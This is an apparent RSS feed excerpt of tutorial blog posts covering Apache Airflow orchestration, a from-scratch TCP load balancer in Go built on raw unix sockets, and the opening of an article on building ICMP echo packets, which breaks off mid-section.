            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*egYvmG0815NgwpcBya7M2g.png" /></figure><h3>Apache Airflow: What It Is, Why It Matters, and Where to Use It</h3><p>Modern applications rarely consist of a single script that runs once and finishes. In real systems, you often have multiple jobs that need to execute in a specific order, at specific times, and sometimes only after another job has successfully completed.</p><p>This is where <strong>Apache Airflow</strong> becomes useful.</p><p>Airflow is an open-source platform for <strong>workflow orchestration</strong>. It allows you to define, schedule, execute, monitor, and manage workflows using Python.</p><p>But an important distinction is:</p><blockquote><strong><em>Airflow is primarily an orchestrator, not a data-processing engine.</em></strong></blockquote><p>It coordinates systems such as Python, PostgreSQL, Apache Spark, AWS services, APIs, and other tools.</p><h3>What Problem Does Airflow Solve?</h3><p>Imagine you have a daily data pipeline:</p><pre>API<br> ↓<br>Fetch Data<br> ↓<br>Validate Data<br> ↓<br>Transform Data<br> ↓<br>Store in PostgreSQL<br> ↓<br>Generate Report</pre><p>You could write a Python script:</p><pre>fetch_data()<br>validate_data()<br>transform_data()<br>save_to_database()<br>generate_report()</pre><p>That works initially.</p><p>But eventually you may need:</p><ul><li>The pipeline to run every day at 2 AM</li><li>Automatic retries when an API fails</li><li>Logs for every step</li><li>Monitoring of successful and failed tasks</li><li>The ability to rerun a failed task</li><li>Dependencies between jobs</li><li>Historical execution information</li></ul><p>At that point, a simple script or cron job becomes difficult to manage.</p><p>Airflow provides a framework for managing this workflow.</p><h3>Airflow’s Core Concept: DAG</h3><p>The most important concept in Airflow is the <strong>DAG</strong>, or Directed Acyclic Graph.</p><p>A DAG represents a workflow and its dependencies.</p><p>For example:</p><pre>Extract<br>   ↓<br>Transform<br>   ↓<br>Load</pre><p>Or a slightly more complicated workflow:</p><pre>Extract<br>             /     \<br>            ↓       ↓<br>       Validate    Clean<br>            \       /<br>             ↓     ↓<br>              Load<br>               ↓<br>             Report</pre><p>The DAG tells Airflow which tasks exist and how they depend on each other.</p><h3>DAG vs Task</h3><p>A <strong>DAG</strong> represents the complete workflow.</p><p>A <strong>task</strong> represents one individual unit of work inside that workflow.</p><p>For example:</p><pre>daily_sales_pipeline<br>│<br>├── extract_sales<br>├── transform_sales<br>├── validate_sales<br>└── load_sales</pre><p>Here:</p><pre>daily_sales_pipeline</pre><p>is the DAG.</p><p>While:</p><pre>extract_sales<br>transform_sales<br>validate_sales<br>load_sales</pre><p>are tasks.</p><h3>A Simple Airflow DAG</h3><p>A basic Python DAG might look like this:</p><pre>from airflow import DAG<br>from airflow.operators.python import PythonOperator</pre><pre>from datetime import datetime<br></pre><pre>def extract():<br>    print(&quot;Extracting data&quot;)<br></pre><pre>def transform():<br>    print(&quot;Transforming data&quot;)<br></pre><pre>def load():<br>    print(&quot;Loading data&quot;)<br></pre><pre>with DAG(<br>    dag_id=&quot;etl_pipeline&quot;,<br>    start_date=datetime(2026, 1, 1),<br>    schedule=None,<br>    catchup=False,<br>) as dag:</pre><pre>    extract_task = PythonOperator(<br>        task_id=&quot;extract&quot;,<br>        python_callable=extract,<br>    )</pre><pre>    transform_task = PythonOperator(<br>        task_id=&quot;transform&quot;,<br>        python_callable=transform,<br>    )</pre><pre>    load_task = PythonOperator(<br>        task_id=&quot;load&quot;,<br>        python_callable=load,<br>    )</pre><pre>    extract_task &gt;&gt; transform_task &gt;&gt; load_task</pre><p>The last line:</p><pre>extract_task &gt;&gt; transform_task &gt;&gt; load_task</pre><p>defines the dependency:</p><pre>Extract<br>   ↓<br>Transform<br>   ↓<br>Load</pre><p>Airflow now knows that transform should not run before extract succeeds.</p><h3>What Does Airflow Actually Do?</h3><p>Suppose this pipeline runs every day:</p><pre>02:00<br>  ↓<br>Extract<br>  ↓<br>Transform<br>  ↓<br>Load</pre><p>Airflow’s scheduler determines when the workflow should run.</p><p>Airflow then tracks the state of individual tasks.</p><p>For example:</p><pre>Extract       SUCCESS<br>Transform     SUCCESS<br>Load          FAILED</pre><p>You can inspect the workflow through the Airflow UI and see logs for individual task executions.</p><p>This becomes extremely valuable when pipelines contain dozens or hundreds of tasks.</p><h3>Airflow Is Not Spark</h3><p>This distinction is particularly important in data engineering.</p><p>Suppose you have 500 GB of data that needs to be processed.</p><p>Airflow itself isn’t the system you would normally use to perform that large-scale computation.</p><p>Instead:</p><pre>Airflow<br>   ↓<br>Starts Spark job<br>   ↓<br>Spark processes data<br>   ↓<br>Airflow waits for completion<br>   ↓<br>Next task runs</pre><p>In this architecture:</p><p><strong>Airflow = orchestration</strong></p><p><strong>Spark = data processing</strong></p><p>This separation is one of the most important concepts to understand.</p><h3>Airflow and PySpark</h3><p>A realistic data pipeline might look like:</p><pre>Airflow<br>                │<br>                ▼<br>        Download raw data<br>                │<br>                ▼<br>          Start PySpark<br>                │<br>                ▼<br>       Transform millions<br>          of records<br>                │<br>                ▼<br>            Write S3<br>                │<br>                ▼<br>       Run data validation<br>                │<br>                ▼<br>        Update warehouse</pre><p>Airflow controls the workflow while PySpark performs the distributed computation.</p><p>This combination is common in data engineering environments.</p><h3>Airflow vs Cron</h3><p>You might wonder:</p><blockquote><em>Why not simply use cron?</em></blockquote><p>Cron is perfectly useful for simple scheduled jobs.</p><p>For example:</p><pre>0 2 * * * python backup.py</pre><p>means:</p><blockquote><em>Run </em><em>backup.py every day at 2 AM.</em></blockquote><p>But imagine a workflow with many dependencies:</p><pre>Extract<br> ├── Validate<br> └── Clean<br>       ↓<br>     Join<br>       ↓<br>     Load<br>       ↓<br>    Report</pre><p>With cron, managing the relationships between all these jobs becomes increasingly difficult.</p><p>Airflow provides a workflow-oriented interface where these dependencies are explicitly defined and monitored.</p><h3>Airflow vs Celery</h3><p>Airflow is also different from task queues such as Celery.</p><p>Celery is commonly used for asynchronous application tasks:</p><pre>FastAPI<br>   ↓<br>Celery<br>   ↓<br>Send email</pre><p>Airflow is designed around workflows:</p><pre>Airflow<br>   ↓<br>Extract<br>   ↓<br>Transform<br>   ↓<br>Validate<br>   ↓<br>Load</pre><p>A useful mental model is:</p><blockquote><strong><em>Celery helps execute asynchronous application tasks.</em></strong></blockquote><blockquote><strong><em>Airflow orchestrates workflows and pipelines.</em></strong></blockquote><p>There can also be situations where both technologies are used in the same architecture.</p><h3>Where Is Airflow Commonly Used?</h3><p>Airflow is particularly useful for:</p><h3>ETL / ELT</h3><pre>API → Transform → Database</pre><h3>Data Warehousing</h3><pre>Sources<br>   ↓<br>Airflow<br>   ↓<br>S3<br>   ↓<br>Spark<br>   ↓<br>Data Warehouse</pre><h3>PySpark Pipelines</h3><pre>Airflow<br>   ↓<br>Spark<br>   ↓<br>Data Processing</pre><h3>Machine Learning Pipelines</h3><pre>Collect Data<br>     ↓<br>Clean Data<br>     ↓<br>Feature Engineering<br>     ↓<br>Train Model<br>     ↓<br>Evaluate<br>     ↓<br>Deploy</pre><h3>Scheduled Data Jobs</h3><p>For example:</p><pre>Every day at 02:00<br>        ↓<br>Download data<br>        ↓<br>Process data<br>        ↓<br>Generate analytics</pre><h3>Why Airflow Is Useful in Production</h3><p>Production pipelines don’t just need to execute code.</p><p>They need operational visibility.</p><p>You want to know:</p><pre>Did the pipeline run?<br>       ↓<br>Which task failed?<br>       ↓<br>Why did it fail?<br>       ↓<br>Can it be retried?<br>       ↓<br>Which tasks already succeeded?<br>       ↓<br>When did it finish?</pre><p>Airflow provides mechanisms for scheduling, dependencies, retries, task states, logs, and workflow monitoring.</p><p>That makes it much more suitable for complex pipelines than a collection of independent scripts.</p><h3>A Practical Architecture</h3><p>A typical data engineering system might look like:</p><pre>┌─────────────┐<br>                │   Airflow   │<br>                │ Orchestrator│<br>                └──────┬──────┘<br>                       │<br>        ┌──────────────┼──────────────┐<br>        ↓              ↓              ↓<br>     Python         PySpark        AWS Jobs<br>        │              │              │<br>        ↓              ↓              ↓<br>   PostgreSQL          S3          Warehouse</pre><p>Airflow sits above these systems and coordinates the execution order.</p><h3>When Should You Use Airflow?</h3><p>Airflow is a strong fit when you have:</p><ul><li>Multiple dependent jobs</li><li>Scheduled workflows</li><li>ETL/ELT pipelines</li><li>Data processing pipelines</li><li>PySpark workloads</li><li>Machine-learning workflows</li><li>Complex dependencies</li><li>A need for retries and execution history</li><li>A need to monitor pipeline status</li></ul><p>For a single script that simply runs once a day, Airflow may be unnecessary.</p><p>The complexity of the workflow should justify the orchestration layer.</p><h3>Final Takeaway</h3><p>The easiest way to remember Airflow is:</p><pre>Airflow = Workflow Orchestration</pre><p>It answers questions such as:</p><pre>WHEN should this job run?</pre><pre>WHAT should run?</pre><pre>WHAT must finish first?</pre><pre>WHAT happens if something fails?</pre><pre>CAN I retry it?</pre><pre>DID the workflow succeed?</pre><pre>WHERE can I see the logs?</pre><p>It doesn’t replace PostgreSQL, Spark, Python, AWS, or your other data-processing systems.</p><p>Instead, it connects them into a reliable workflow.</p><p>A practical pipeline could therefore look like:</p><pre>Apache Airflow<br>                   │<br>                   ▼<br>              Extract API<br>                   │<br>                   ▼<br>              Validate<br>                   │<br>                   ▼<br>             PySpark Job<br>                   │<br>                   ▼<br>                S3<br>                   │<br>                   ▼<br>             PostgreSQL<br>                   │<br>                   ▼<br>             Data Quality</pre><p>Once you understand this mental model, learning Airflow becomes much easier because you’re no longer learning a collection of operators — you are learning <strong>how to orchestrate real systems</strong>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7ad02e2db16c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How to Build a TCP Load Balancer from Scratch in Go — Part 2: Forwarding Requests to the Backend]]></title>
            <link>https://medium.com/@termtrix/how-to-build-a-tcp-load-balancer-from-scratch-in-go-part-2-forwarding-requests-to-the-backend-c2f0270dffcc?source=rss-66954bf63d4e------2</link>
            <guid isPermaLink="false">https://medium.com/p/c2f0270dffcc</guid>
            <category><![CDATA[networking]]></category>
            <category><![CDATA[golang]]></category>
            <category><![CDATA[load-balancer]]></category>
            <category><![CDATA[termtrix]]></category>
            <category><![CDATA[linux]]></category>
            <dc:creator><![CDATA[TΞRMTRIX]]></dc:creator>
            <pubDate>Sat, 05 Sep 2026 15:54:26 GMT</pubDate>
            <atom:updated>2026-09-05T15:54:26.524Z</atom:updated>
            <content:encoded><![CDATA[<p>Termtrix Official Website : www.termtrix.com</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kmIfhPjxVJCESReurumLeQ.png" /></figure><p>Exactly. Since Part 1 stopped at unix.Accept(), Part 2 should naturally continue from the <strong>client FD</strong> returned by Accept().</p><p>I’d structure this section like this:</p><h3>Reading and Parsing the Client Request</h3><p>After accepting the client connection, we now have a <strong>client file descriptor</strong>.</p><pre>clientFD, clientAddr, err := unix.Accept(fd)</pre><p>The next question is:</p><blockquote><strong><em>How do we actually get the HTTP request from this connection?</em></strong></blockquote><p>That’s where unix.Recvfrom() comes in.</p><h3>1. Reading the Client’s Request</h3><h3>Using unix.Recvfrom()</h3><p>Once the client connects to our load balancer, it sends an HTTP request over the TCP connection.</p><p>For example:</p><pre>GET /hello HTTP/1.1<br>Host: localhost:8000</pre><p>At the socket level, however, this isn’t received as a Go string or an HTTP object.</p><p>It’s received as <strong>bytes</strong>.</p><p>We can read those bytes using:</p><pre>buff := make([]byte, 2048)</pre><pre>n, _, err := unix.Recvfrom(clientFD, buff, 0)</pre><pre>if err != nil {<br>    fmt.Println(&quot;recv error:&quot;, err)<br>    return<br>}</pre><pre>data := buff[:n]</pre><pre>fmt.Println(string(data))</pre><p>The output will look something like:</p><pre>GET /hello HTTP/1.1<br>Host: localhost:8000<br>User-Agent: curl/8.0<br>Accept: */*</pre><p>Here:</p><pre>buff := make([]byte, 2048)</pre><p>creates a buffer where we’ll store the incoming data.</p><p>And:</p><pre>n, _, err := unix.Recvfrom(clientFD, buff, 0)</pre><p>reads data from the TCP connection.</p><p>n tells us <strong>how many bytes were actually received</strong>.</p><p>That’s why we use:</p><pre>data := buff[:n]</pre><p>instead of processing the entire 2048-byte buffer.</p><h3>2. What Are We Actually Receiving?</h3><p>At this point, data is simply a sequence of bytes.</p><p>For example, the beginning of:</p><pre>GET /hello HTTP/1.1</pre><p>is represented internally as bytes:</p><pre>[71 69 84 32 47 104 101 108 108 111 32 ...]</pre><p>Those numbers are the ASCII byte values of the HTTP request.</p><p>We can see the difference with:</p><pre>fmt.Println(data)<br>fmt.Println(string(data))</pre><p>Output:</p><pre>[71 69 84 32 47 104 101 108 108 111 32 72 ...]</pre><p>and:</p><pre>GET /hello HTTP/1.1<br>Host: localhost:8000</pre><p>This is an important point in our TLB implementation:</p><blockquote><strong><em>The network gives us bytes. We have to interpret those bytes as an HTTP request.</em></strong></blockquote><h3>Parsing the HTTP Request</h3><p>Now that we’ve captured the request, we need to understand what’s inside it.</p><p>For example:</p><pre>GET /hello HTTP/1.1<br>Host: localhost:8000</pre><p>The first line contains three important pieces:</p><pre>GET        /hello        HTTP/1.1<br>│             │             │<br>Method       Path        HTTP Version</pre><p>So we can parse it into something like:</p><pre>type IncomingRequest struct {<br>    Method  string<br>    Path    string<br>    Version string<br>    Host    string<br>    Port    string<br>}</pre><p>For the request:</p><pre>GET /hello HTTP/1.1<br>Host: localhost:8000</pre><p>we want:</p><pre>Method  → GET<br>Path    → /hello<br>Version → HTTP/1.1<br>Host    → localhost<br>Port    → 8000</pre><p>This information becomes useful later when TLB decides <strong>where the request should go</strong>.</p><h3>Why Parse the Request?</h3><p>At the moment, TLB can receive:</p><pre>Client → TLB</pre><p>But TLB needs to understand what it received before forwarding it.</p><p>Our flow is becoming:</p><pre>Client<br>   │<br>   │ HTTP request<br>   ▼<br>TLB :8000<br>   │<br>   │ Recvfrom()<br>   ▼<br>Raw bytes<br>   │<br>   │ Parse<br>   ▼<br>HTTP Request<br>   │<br>   ├── Method<br>   ├── Path<br>   ├── HTTP Version<br>   ├── Host<br>   └── Port</pre><p>Now TLB isn’t just blindly receiving bytes — we’ve started <strong>understanding the request at the application layer</strong>.</p><h3>What’s next?</h3><p>We have successfully:</p><p><strong>Accept → Receive → Parse</strong></p><p>But we still haven’t sent the request anywhere.</p><p>The next step is where TLB starts behaving like an actual proxy:</p><blockquote><strong><em>Take the request we received from the client and forward it to the backend server.</em></strong></blockquote><h3>Forwarding the Request to the Backend</h3><p>We’ve now reached the interesting part.</p><p>TLB has already accepted the client connection and captured the HTTP request as bytes. Now we need to move those bytes to our backend server.</p><p>Our backend is running on:</p><pre>127.0.0.1:3001</pre><p>The flow is:</p><pre>Client<br>   │<br>   │ Request<br>   ▼<br>TLB :8000<br>   │<br>   │ Forward<br>   ▼<br>Backend :3001<br>   │<br>   │ Response<br>   ▼<br>TLB<br>   │<br>   │ Forward response<br>   ▼<br>Client</pre><h3>1. Creating the Outbound Backend Connection</h3><p>The connection between the client and TLB is one TCP connection.</p><p>To communicate with the backend, TLB needs to create <strong>another TCP connection</strong>.</p><pre>backendFD, err := unix.Socket(<br>    unix.AF_INET,<br>    unix.SOCK_STREAM,<br>    0,<br>)</pre><p>Now we have two sockets:</p><pre>clientFD  → Client ↔ TLB</pre><pre>backendFD → TLB ↔ Backend</pre><p>We then define our backend address:</p><pre>backendAddr := unix.SockaddrInet4{<br>    Port: 3001, //backend server port<br>    Addr: [4]byte{127, 0, 0, 1},<br>}</pre><p>And connect to it:</p><pre>err = unix.Connect(backendFD, &amp;backendAddr)</pre><pre>if err != nil {<br>    fmt.Println(&quot;backend connect:&quot;, err)<br>    return<br>}</pre><p>If everything works, the connection looks like:</p><pre>TLB<br> │<br> │ Connect()<br> ▼<br>127.0.0.1:3001</pre><h3>2. Forwarding the Request</h3><p>We already received the client’s request:</p><pre>data := buff[:n]</pre><p>For example:</p><pre>GET /hello HTTP/1.1<br>Host: localhost:8000</pre><p>Those bytes can now be written directly to the backend socket:</p><pre>_, err = unix.Write(backendFD, data)</pre><pre>if err != nil {<br>    fmt.Println(&quot;backend write:&quot;, err)<br>    return<br>}</pre><p>The data flow is now:</p><pre>Client<br>   │<br>   │ HTTP request<br>   ▼<br>TLB<br>   │<br>   │ unix.Write(backendFD, data)<br>   ▼<br>Backend :3001</pre><p>TLB is essentially acting as the middleman between the client and backend.</p><h3>3. Receiving the Backend Response</h3><p>The backend processes the request and sends a response back through the TCP connection.</p><p>We read that response using:</p><pre>resBuff := make([]byte, 2048)</pre><pre>n, err := unix.Read(backendFD, resBuff)</pre><pre>if err != nil {<br>    fmt.Println(&quot;backend read:&quot;, err)<br>    return<br>}</pre><pre>response := resBuff[:n]</pre><p>For example, the backend might return:</p><pre>HTTP/1.1 200 OK<br>Content-Type: text/plain</pre><pre>Hello from backend!</pre><p>At the socket level, once again, this is simply <strong>bytes</strong>.</p><p>So now:</p><pre>Backend :3001<br>      │<br>      │ Response bytes<br>      ▼<br>    TLB<br>      │<br>      │ unix.Read()<br>      ▼<br> response</pre><h3>4. Sending the Response Back to the Client</h3><p>We’ve received the backend response.</p><p>The final step is to send those bytes through the original <strong>client FD</strong>:</p><pre>_, err = unix.Write(clientFD, response)</pre><pre>if err != nil {<br>    fmt.Println(&quot;client write:&quot;, err)<br>    return<br>}</pre><p>Now the complete request-response path is:</p><pre>TERMTRIX LOAD BALANCER</pre><pre>Client<br>  │<br>  │ Request<br>  ▼<br>clientFD<br>  │<br>  ▼<br> TLB<br>  │<br>  │ Write()<br>  ▼<br>backendFD<br>  │<br>  ▼<br>Backend :3001<br>  │<br>  │ Response<br>  ▼<br>backendFD<br>  │<br>  ▼<br> TLB<br>  │<br>  │ Write()<br>  ▼<br>clientFD<br>  │<br>  ▼<br>Client</pre><h3>Our complete flow so far</h3><pre>Accept<br>   ↓<br>Receive<br>   ↓<br>Parse<br>   ↓<br>Connect to Backend<br>   ↓<br>Forward Request<br>   ↓<br>Read Backend Response<br>   ↓<br>Send Response to Client</pre><p>At this point, <strong>TLB has completed its first real proxy workflow</strong>:</p><blockquote><strong><em>Client → TLB → Backend → TLB → Client</em></strong></blockquote><p>The basic request forwarding works. 🚀</p><p>But currently, we’re dealing with connections one at a time. The next challenge is making TLB handle <strong>multiple clients concurrently</strong> and then introducing <strong>multiple backend servers</strong> for actual load balancing.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c2f0270dffcc" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How to Build a TCP Load Balancer from Scratch in Go]]></title>
            <link>https://medium.com/@termtrix/how-to-build-a-tcp-load-balancer-from-scratch-in-go-1353ab3e0b98?source=rss-66954bf63d4e------2</link>
            <guid isPermaLink="false">https://medium.com/p/1353ab3e0b98</guid>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[networking]]></category>
            <category><![CDATA[tcp]]></category>
            <category><![CDATA[load-balancer]]></category>
            <category><![CDATA[golang]]></category>
            <dc:creator><![CDATA[TΞRMTRIX]]></dc:creator>
            <pubDate>Tue, 01 Sep 2026 16:14:55 GMT</pubDate>
            <atom:updated>2026-09-01T16:14:55.551Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NJYsmRumYaGVvdIzim2erQ.png" /></figure><h3>Why Build a Load Balancer from Scratch?</h3><p>Everyone can explain <strong>what a load balancer is</strong>.</p><p>You’ll find plenty of explanations saying:</p><blockquote><em>“A load balancer distributes incoming traffic across multiple backend servers.”</em></blockquote><p>That’s correct — but it doesn’t explain <strong>what actually happens behind the scenes</strong>.</p><p>What happens when a client connects to the load balancer?</p><p>How does the load balancer accept the TCP connection?<br> How does it read the request?<br> How does it establish another connection with a backend server?<br> How does it forward the request?<br> How does the response travel back to the original client?</p><p>These are the parts that are often hidden behind high-level tools and libraries.</p><p>So, instead of simply using an existing load balancer, I decided to build <strong>TERMTRIX Load Balancer (TLB)</strong> from scratch using <strong>Go and low-level TCP sockets</strong>.</p><p>The goal is not to build a production-ready replacement for Nginx or HAProxy. The goal is to understand the <strong>networking mechanics and internal request flow</strong> that make a load balancer work.</p><h3>What we are building</h3><p>The initial architecture is intentionally simple:</p><pre>                     TERMTRIX LOAD BALANCER<br>                              │<br>                              │<br>                         127.0.0.1:8000<br>                              │<br>                    ┌─────────▼─────────┐<br>                    │       TLB         │<br>                    │   TCP Socket      │<br>                    │                   │<br>                    │ Accept Connection │<br>                    │ Read Request      │<br>                    │ Forward Request   │<br>                    └─────────┬─────────┘<br>                              │<br>                              │ TCP Connection<br>                              │<br>                              ▼<br>                     ┌─────────────────┐<br>                     │  Backend Server │<br>                     │ 127.0.0.1:3001  │<br>                     └─────────────────┘<br>                              │<br>                              │ Response<br>                              ▼<br>                         TLB :8000<br>                              │<br>                              │ Response<br>                              ▼<br>                            Client</pre><p>At this stage, there is only <strong>one backend server</strong>.</p><p>The request flow is:</p><pre>Client<br>   │<br>   │ 1. TCP connection<br>   ▼<br>TLB :8000<br>   │<br>   │ 2. Read request<br>   │<br>   │ 3. Connect to backend<br>   ▼<br>Backend :3001<br>   │<br>   │ 4. Process request<br>   │<br>   │ 5. Send response<br>   ▼<br>TLB<br>   │<br>   │ 6. Send response<br>   ▼<br>Client</pre><p>This simple architecture gives us a foundation to understand the more complex parts later.</p><h3>TERMTRIX TLB Project Goal</h3><p>The goal of <strong>TERMTRIX Load Balancer (TLB)</strong> is to learn how a load balancer works <strong>from the network layer upward</strong>.</p><p>Instead of hiding the implementation behind a framework, we’ll progressively build each component ourselves:</p><pre>TCP Socket<br>    ↓<br>Bind<br>    ↓<br>Listen<br>    ↓<br>Accept Client<br>    ↓<br>Read Request<br>    ↓<br>Parse Request<br>    ↓<br>Connect to Backend<br>    ↓<br>Forward Request<br>    ↓<br>Read Backend Response<br>    ↓<br>Send Response to Client</pre><h3>Creating a TCP Socket in Go</h3><p>The first step is to create a socket that our load balancer can use to communicate over the network.</p><p>A socket acts as an <strong>endpoint for network communication</strong>. When we create one, the Linux kernel creates and manages the underlying socket, and our application receives a <strong>file descriptor (FD)</strong> that we can use for operations such as bind, listen, accept, read, and write.</p><p>For TLB, we’re using IPv4 and a TCP-style byte stream:</p><pre>fd, err := unix.Socket(<br>    unix.AF_INET,    // IPv4<br>    unix.SOCK_STREAM, // Stream socket<br>    0,               // Let the kernel choose the protocol<br>)</pre><h3>What is a File Descriptor?</h3><p>A <strong>file descriptor (FD)</strong> is a non-negative integer that the operating system gives a process to identify an open I/O resource.</p><p>In Linux, many things are accessed through file descriptors, including:</p><ul><li>Files</li><li>Sockets</li><li>Pipes</li><li>Terminals</li></ul><p>In our TLB, the socket returned by unix.Socket() is represented by an FD.</p><p>For example:</p><pre>fd = 3</pre><h3>Binding the Socket</h3><p>Once our socket is created, the next step is to <strong>bind it to the IP address and port where we want TLB to receive incoming connections</strong>.</p><p>For our load balancer, we’ll use:</p><pre>127.0.0.1:8000</pre><p>We can do this using unix.Bind():</p><pre>addr := &amp;unix.SockaddrInet4{<br>    Port: 8000,<br>}</pre><pre>copy(addr.Addr[:], net.ParseIP(&quot;127.0.0.1&quot;).To4())</pre><pre>err := unix.Bind(fd, addr)</pre><p>Here:</p><ul><li>127.0.0.1 → the IP address where TLB will accept connections</li><li>8000 → the port where clients will connect</li><li>fd → the socket we created earlier</li></ul><p><strong>But there is an important point: we’re not listening yet.</strong></p><p>Bind() only tells the operating system:</p><blockquote><strong><em>“Associate this socket with </em></strong><strong><em>127.0.0.1:8000.”</em></strong></blockquote><p>It does <strong>not</strong> mean the socket is ready to accept incoming connections.</p><p>That’s where the next step comes in: <strong>unix.Listen()</strong>.</p><h3>Putting the Socket into Listening Mode</h3><p>Once the socket is created and bound to 127.0.0.1:8000, we need to tell the operating system:</p><blockquote><strong><em>“This socket is ready to accept incoming connections.”</em></strong></blockquote><p>We do that using:</p><pre>unix.Listen(fd, 2048)</pre><p>The 2048 is called the <strong>backlog</strong>. It specifies how many incoming connections can wait in the connection queue while the server is busy handling existing connections.</p><pre>Client → TLB :8000<br>             ↓<br>        Connection Queue<br>             ↓<br>          Accept()</pre><p>For our TLB, we use:</p><pre>unix.Listen(fd, 2048)</pre><p>Now the socket is listening for clients.</p><h3>Accepting a Client Connection</h3><p>After creating, binding, and listening on our socket, the next step is to accept incoming client connections.</p><p>We use unix.Accept() for this.</p><pre>clientFD, clientAddr, err := unix.Accept(fd)</pre><pre>if err != nil {<br>    fmt.Println(&quot;accept error:&quot;, err)<br>    return<br>}</pre><pre>fmt.Println(&quot;Client FD:&quot;, clientFD)<br>fmt.Println(&quot;Client Address:&quot;, clientAddr)</pre><p>Here, fd is the <strong>listening socket</strong> we created earlier:</p><pre>fd, err := unix.Socket(<br>    unix.AF_INET,<br>    unix.SOCK_STREAM,<br>    0,<br>)</pre><h3>Listening FD vs Client FD</h3><p>It’s important to understand that these are <strong>two different file descriptors</strong>.</p><pre>TLB :8000<br>                 │<br>        Listening FD = 3<br>                 │<br>             Accept()<br>                 │<br>        ┌────────┴────────┐<br>        ▼                 ▼<br>   Client FD = 5     Client FD = 6<br>    Client A           Client B</pre><p>The <strong>listening FD</strong> is responsible for accepting new connections.</p><p>The <strong>client FD</strong> represents an actual TCP connection with a specific client.</p><p>For example, you might see:</p><pre>Listening FD: 3</pre><pre>Client connected<br>Client FD: 5<br>Client Address: 127.0.0.1:54321</pre><p>If another client connects:</p><pre>Listening FD: 3</pre><pre>Client connected<br>Client FD: 6<br>Client Address: 127.0.0.1:54322</pre><p>Notice that the listening FD remains 3, while each accepted connection gets its own FD.</p><h3>What does Accept() actually return?</h3><pre>clientFD, clientAddr, err := unix.Accept(fd)</pre><p>It returns three things:</p><pre>clientFD<br>   ↓<br>The new file descriptor used to communicate<br>with this particular client.</pre><pre>clientAddr<br>   ↓<br>The client&#39;s network address.</pre><pre>err<br>   ↓<br>Whether accepting the connection succeeded.</pre><p>So when the browser requests:</p><pre>http://127.0.0.1:8000/index</pre><p>your TLB might print:</p><pre>Listening FD: 3</pre><pre>Client connected<br>Client FD: 5<br>Client Address: 127.0.0.1:41990</pre><p>Now <strong>FD 5</strong> is the connection you use to communicate with that browser:</p><pre>unix.Recvfrom(clientFD, buff, 0)</pre><p>and later:</p><pre>unix.Write(clientFD, response)</pre><p>While <strong>FD 3</strong> continues listening for the next client.</p><p>That’s the key idea:</p><blockquote><strong><em>Accept() does not give you another listening socket. It gives you a new socket dedicated to communicating with the connected client.</em></strong></blockquote><h3>What’s Next?</h3><p>At this point, we’ve built the first part of the flow:</p><pre>Client<br>   ↓<br>TLB :8000<br>   ↓<br>Accept connection<br>   ↓<br>Read &amp; parse request</pre><p>We can now <strong>capture the incoming client’s request</strong> and understand what the client is asking for.</p><p>But TLB isn’t useful if it only receives the request. 😄</p><p>The next challenge is:</p><blockquote><strong><em>How do we take those request bytes and forward them to our backend server?</em></strong></blockquote><p>That’s where we’ll continue in the next update.</p><p><strong>Coming next:</strong><br> ➡️ <strong>Forwarding the Client Request to the Backend Server</strong> 🚀</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1353ab3e0b98" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How Does ICMP Ping Work? A Packet-Level Explanation]]></title>
            <link>https://medium.com/@termtrix/how-does-icmp-ping-work-a-packet-level-explanation-56540f63388e?source=rss-66954bf63d4e------2</link>
            <guid isPermaLink="false">https://medium.com/p/56540f63388e</guid>
            <category><![CDATA[icmp]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[ping-test]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[networking]]></category>
            <dc:creator><![CDATA[TΞRMTRIX]]></dc:creator>
            <pubDate>Sat, 29 Aug 2026 09:35:05 GMT</pubDate>
            <atom:updated>2026-08-29T09:35:05.990Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*N4O_OKJrGZuZ250R8nSYUA.png" /></figure><p>Have you ever wondered how a system determines whether a target is reachable?</p><p>Usually, we use the ping command to test whether a target responds to an <strong>ICMP Echo Request</strong>.</p><p>But what actually happens underneath?</p><p>In this article, we’re going to understand the process at the <strong>packet level</strong> and build an ICMP Echo Request from scratch using Go.</p><p>No ping package.<br>No high-level networking library.</p><p>Just bytes, packets, and the network.</p><h3>Required Input</h3><p>For this example, we only need one thing:</p><ol><li><strong>Target IPv4 address</strong></li></ol><p>That’s it.</p><p>For example:</p><pre>192.168.14.34</pre><p>Our goal is to construct an ICMP Echo Request packet and eventually send it to that target.</p><h3>The Workflow</h3><p>When you’re building a network-related application, one of the most important things to understand is:</p><blockquote><strong><em>Everything eventually becomes bytes that are transmitted as packets.</em></strong></blockquote><p>So before we communicate with the target, we need to construct the packet we want to send.</p><h3>Understanding ICMP</h3><p>ICMP stands for <strong>Internet Control Message Protocol</strong>.</p><p>The ping utility commonly uses ICMP <strong>Echo Request</strong> and <strong>Echo Reply</strong> messages.</p><p>For an ICMP Echo Request/Reply, the ICMP header is <strong>8 bytes</strong>.</p><pre>Byte 0       → Type          (8 bits / 1 byte)<br>Byte 1       → Code          (8 bits / 1 byte)<br>Byte 2-3     → Checksum      (16 bits / 2 bytes)<br>Byte 4-5     → Identifier    (16 bits / 2 bytes)<br>Byte 6-7     → Sequence      (16 bits / 2 bytes)</pre><p>So:</p><pre>1 + 1 + 2 + 2 + 2 = 8 bytes</pre><p>That’s our basic ICMP Echo header.</p><p>But the ICMP message doesn’t necessarily end after those 8 bytes.</p><p>We can attach additional data after the header.</p><p>For our example, we’ll attach a message.</p><p>So our packet will look like:</p><pre>┌──────────────────────────┐<br>│      ICMP Header         │  8 bytes<br>├──────────────────────────┤<br>│      Message / Data      │  len(message)<br>└──────────────────────────┘</pre><h3>Let’s Construct Our Request Packet</h3><p>Now that 